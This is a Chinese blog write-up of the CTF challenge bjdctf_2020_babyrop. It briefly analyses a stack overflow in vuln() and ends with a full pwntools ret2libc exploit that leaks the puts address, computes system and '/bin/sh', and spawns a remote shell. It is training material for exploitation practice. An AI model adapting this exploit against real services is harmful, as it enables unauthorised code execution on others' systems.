0
点赞
收藏
分享

微信扫一扫

bjdctf_2020_babyrop

蓝哆啦呀 2022-04-03 阅读 70

bjdctf_2020_babyrop

使用checksec查看:
在这里插入图片描述
只开启了栈不可执行。

先放进IDA中分析:
在这里插入图片描述

  • 主程序中给了vuln()函数,直接跟进查看。

vuln()
在这里插入图片描述

  • return read(0, &buf, 0x64uLL);:读取用户输入的数据存入buf变量。

题目思路

  • buf变量距离rbp 0x20

  • buf变量可读入0x64大小的数据。

  • 因此存在栈溢出。

  • 且程序中无system()函数和/bin/bash字符串。

  • 可以使用ret2libc方式getshell

步骤解析

在这里插入图片描述

在这里插入图片描述

完整exp

from pwn import *

#start
r = remote("node4.buuoj.cn",26823)
# r = process("../buu/bjdctf_2020_babyrop")
elf = ELF("../buu/bjdctf_2020_babyrop")
libc = ELF("../buu/ubuntu16(64).so")

#params
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi_addr = 0x400733
main_addr = elf.symbols['main']

#attack
r.recv()
payload = b'M'*(0x20 + 8) + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.sendline(payload)
puts_addr = u64(r.recv(6).ljust(8, b'\x00'))
print("puts_addr: " + hex(puts_addr))

#libc
base_addr = puts_addr - libc.symbols['puts']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b'/bin/sh'))
print("system_addr: " + hex(system_addr))
print("bin_sh_addr: " + hex(bin_sh_addr))

#attack2
payload = b'M'*(0x20 + 8) + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr) + p64(main_addr)
r.sendline(payload)

r.interactive()
举报

相关推荐

0 条评论